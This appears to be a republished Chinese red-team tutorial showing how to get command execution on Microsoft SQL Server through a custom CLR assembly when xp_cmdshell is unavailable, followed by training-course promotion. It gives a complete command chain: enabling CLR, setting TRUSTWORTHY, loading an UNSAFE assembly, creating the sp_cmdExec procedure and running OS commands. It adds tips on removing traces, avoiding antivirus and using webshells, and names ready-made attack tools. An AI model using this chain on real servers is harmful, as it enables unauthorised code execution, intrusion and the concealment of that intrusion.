XP_CmdShell平替CLR的基础利用

渗透技巧 9个月前 admin
160 0 0

本文作者是i春秋线下就业班结业学员「YongYe」分享的技术文章,公众号旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。

XP_CmdShell平替CLR的基础利用

YongYe


i春秋渗透测试工程师成都基地线下就业班10期结业学员。通过推荐就业,已成功拿到Offer并顺利入职,目前担任红队渗透测试工程师,擅长黑盒测试。

XP_CmdShell平替CLR的基础利用

YongYe:现在MSSQL数据库中使用最多的命令执行手段就是xp_cmdshell,但在环境出现问题,例如xp、sp无法使用时,就会让人感到无措。相比之下,CLR技术更加先进,操作面更广,可以更好地解决此类问题。

CLR提供了一种在SQL Server中运行托管代码的方法,这种代码可以用多种编程语言编写,如C#、VB.NET等。通过CLR,我们可以执行更多的任务,解决更多的问题,为数据库管理提供更多的便利。希望通过本文分享,你将学会程序集的生成方法,并DIY自己的程序集。



一、XP_CmdShell与CLR简单对比

对比方向

XP_CmdShell

CLR

命令实现

扩展存储过程

CLR存储过程或函数

参数解析

简单参数

支持复杂参数

返回数据

简单文本

复杂数据类型

性能

中等,约原生代码的50%

接近原生代码,几乎无额外开销

线程使用

单线程,不支持多线程

支持多线程执行

资源控制

仅内存控制

内存及CPU资源可控

扩展语言

仅T-SQL

支持各种CLR语言

总结

简单易用

操作面更广


二、CLR介绍

从SQL Server 2005开始,SQL Server集成了用于Microsoft Windows的.NET Framework的公共语言运行时(CLR)组件。CLR(Common Language Runtime):公共语言运行时是微软推出的.NET Framework的运行时执行环境,它提供了一系列功能来支持.NET程序的运行:

(1)内存管理:CLR自动进行内存分配、垃圾回收等内存管理工作。

(2)类型安全:CLR确保所有对象使用前都正确分配内存和初始化。

(3)错误处理:CLR可以捕捉管理代码运行时出现的系统级错误。

(4)代码访问安全性:CLR执行代码时会进行权限检查,确保代码只能访问它应该访问的资源。

(5)线程管理:CLR创建线程、进行同步和控制线程的执行。

(6)对齐编程语言:不同语言编译成中间语言IL后,由CLR执行,使它们能相互操作。

(7)代码部署:CLR负责把代码编译为本机代码,也进行反射提供运行时类型信息。

这些特点使得CLR非常的强大!利用方式也是非常的多。

三、环境条件

SQL版本:SQL Server 2008 R2_默认配置

测试系统:Win10

CLR编写:Visual Studio 2022

利用条件:sysadmin

四、创建自已的程序集

可以使用网上公开现成的程序集,也可以自已做一个程序集。

1、测试了一下还是Visual Studio方便点,只需要安装最下面数据库操作工具即可。安装完新建一个SQL Server数据库项目。

XP_CmdShell平替CLR的基础利用

2、配置一下目标的SQL Sserver版本。

XP_CmdShell平替CLR的基础利用

3、下拉配置一下框架版本,我本机测试直接看的控制面板。实战获取版本也比较方便,冰蝎、哥斯拉连上去都已经搜集好了。

Tips:版本不匹配容易出现问题,程序集无效等。

XP_CmdShell平替CLR的基础利用

4、新建SQL CLR存储过程

XP_CmdShell平替CLR的基础利用

XP_CmdShell平替CLR的基础利用

5、这就是代码模板了,大家自由发挥。

XP_CmdShell平替CLR的基础利用

6、编写完生成,程序集就做完了。程序集路径在下面:

XP_CmdShell平替CLR的基础利用

进入程序集binRelease,这两个文件是有用的。

XP_CmdShell平替CLR的基础利用

(1)Database1.dll文件可用于存在上传点的情况,可以直接上传。记得改名字,不然就上传一个shell.asp。(不推荐该方式:文件直接落地+需要上传点)

(2)Database1_Create.sql文件找到”CREATE ASSEMBLY”这行,这就是我们生成的十六进制程序集。

XP_CmdShell平替CLR的基础利用

五、利用流程

1、查看CLR是否开启,看看有没有前辈已经弄好了。(1=ON、0=OFF)
SELECT * FROM sys.configurations WHERE name ='clr enabled'

XP_CmdShell平替CLR的基础利用

2、通过sp_configure开启CLR功能。

exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;

XP_CmdShell平替CLR的基础利用

3、如果提示导入不安全程序集/权限等相关问题,尝试以下命令。允许master数据库中的所有CLR程序集不受限制地执行,忽略普通的权限检查。master默认为ON,其它数据库默认OFF。

ALTER DATABASE [master] SET TRUSTWORTHY ON;

XP_CmdShell平替CLR的基础利用

执行以下命令可查询是否设置成功。

SELECT is_trustworthy_on FROM sys.databases WHERE name='master'

XP_CmdShell平替CLR的基础利用

4、导入我们的程序集,这里有两种方式可以导入,就是之前生成的两个文件:通过16进制导入和通过dll文件导入。

方式1:通过16进制的CLR导入

直接从Database1_Create.sql中复制粘贴即可。

XP_CmdShell平替CLR的基础利用

XP_CmdShell平替CLR的基础利用

方式2:通过程序集.dll文件导入

通过其它漏洞上传dll文件,执行以下命令导入指定位置的dll。

CREATE ASSEMBLY sp_cmdExec FROM ' C:UsersadminsourcereposDatabase1Database1binReleaseDatabase1.dll' WITH PERMISSION_SET = UNSAFE

XP_CmdShell平替CLR的基础利用

Tips:

(1)方式2中因为dll直接落地,文件会直接被杀软拦截。使用Visual Studio生成程序集都会被直接拦截了。

(2) 方式2中sp_cmdExec为程序集名称,这里不改后面也不要改,不然就会报错。

5、创建存储过程

方式1导入,这样执行。红色部分根据实际程序集内容更改,不然会报错。

CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;

XP_CmdShell平替CLR的基础利用

方式2导入,这样执行。否则会报错找不到xxxxxxx。

CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME sp_cmdExec.StoredProcedures.ExecCommand;

XP_CmdShell平替CLR的基础利用

这是我的程序集,可以参考一下。

XP_CmdShell平替CLR的基础利用

Tips:WarSQLKit为程序集的名称。

6、命令执行

EXEC sp_cmdExec 'whoami';

XP_CmdShell平替CLR的基础利用

7、简单痕迹清理

查询创建的程序集:SELECT * FROM sys.assemblies

删除程序集:DROP PROCEDURE sp_cmdExec;DROP ASSEMBLY [WarSQLKit];

XP_CmdShell平替CLR的基础利用

关闭CLR

EXEC sp_configure 'clr enabled', 0RECONFIGURE WITH OVERRIDE

XP_CmdShell平替CLR的基础利用

六、总结

整个流程,不上传dll文件。我的某rong很安静。利用的话网上有很多自动化工具,工具虽然被杀。但是不影响操作,正常肯定代理出来远程连接即可。使用工具自动提权(我的某rong反正是很安静),即使存在杀软拦截也有其它办法。因为CLR程序集可以编程,所以你可以做很多事情包括不限于自动化工具已经实现的功能。

工具推荐:WarSQLKit(功能强大/兼容性存在问题)、SharpSQLTools(简单易用)

XP_CmdShell平替CLR的基础利用
以上内容来自于「YongYe」师傅投稿,也欢迎更多安全少侠加入“春秋豪杰排行榜”计划,成为i春秋的签约作家,通过贡献知识力量,为网络安全行业注入更强大的学习能量

XP_CmdShell平替CLR的基础利用

XP_CmdShell平替CLR的基础利用

成为签约作家,您将获得以下丰厚福利:

XP_CmdShell平替CLR的基础利用

01

高额稿费回报:您的每一篇作品都将得到公平合理的稿费报酬,让您的辛勤创作得到实质性的回报。

02

i春秋签约作家聘书:这不仅是一份荣誉,更是对您实力的高度认可,让您在同行中脱颖而出,为您的职业生涯添上一抹重彩。

03

专属定制好礼:我们会依据排行榜的排名,提供i春秋专属定制好礼,让您感受到我们的诚意和尊重。

04

行业峰会入门券:您将有机会亲临行业盛会,与安全领域的专家和行业领袖面对面交流,深入探讨学术前沿技术,接触到最新的行业动态和技术趋势。

05

拓宽人脉:i春秋将为您提供一个分享和交流学术研究成果的平台,让您与同行们共同探讨行业新技术,结识更多技术大牛。

「春秋豪杰排行榜」投稿方式:

1、在i春秋论坛(bbs.ichunqiu.com)发布原创技术文章,文章链接通过微信(VX: h0XT0nh0u)发给工作人员,并备注:投稿。

2、无论文章是否通过审核,3个工作日内都会得到工作人员的告知。若未完成专业爱好者认证,可先联系工作人员进行认证

XP_CmdShell平替CLR的基础利用

认证过程遇到问题,请联系客服)

XP_CmdShell平替CLR的基础利用

「YongYe」师傅是成都基地线下就业班10期结业学员,该班结业率达到99%结业学员通过考试获得国家CISAW-Web安全认证证书人员达到100%。i春秋为每一位顺利结业的学员推荐合适的就业机会,通过推荐就业到360、知道创宇、天融信、启明星辰、58、滴滴、公安部、金源动力等企业,就业率达到93%。

如果你也对渗透测试感兴趣,想在网络安全行业立足,毕业就能拿到过万的薪资,欢迎了解渗透测试工程师线下就业班,现在报名还能享受暑期优惠福利,点击下方图片可查看具体活动详情>>

XP_CmdShell平替CLR的基础利用

原文始发于微信公众号(i春秋):XP_CmdShell平替CLR的基础利用

版权声明:admin 发表于 2023年8月14日 下午6:02。
转载请注明:XP_CmdShell平替CLR的基础利用 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...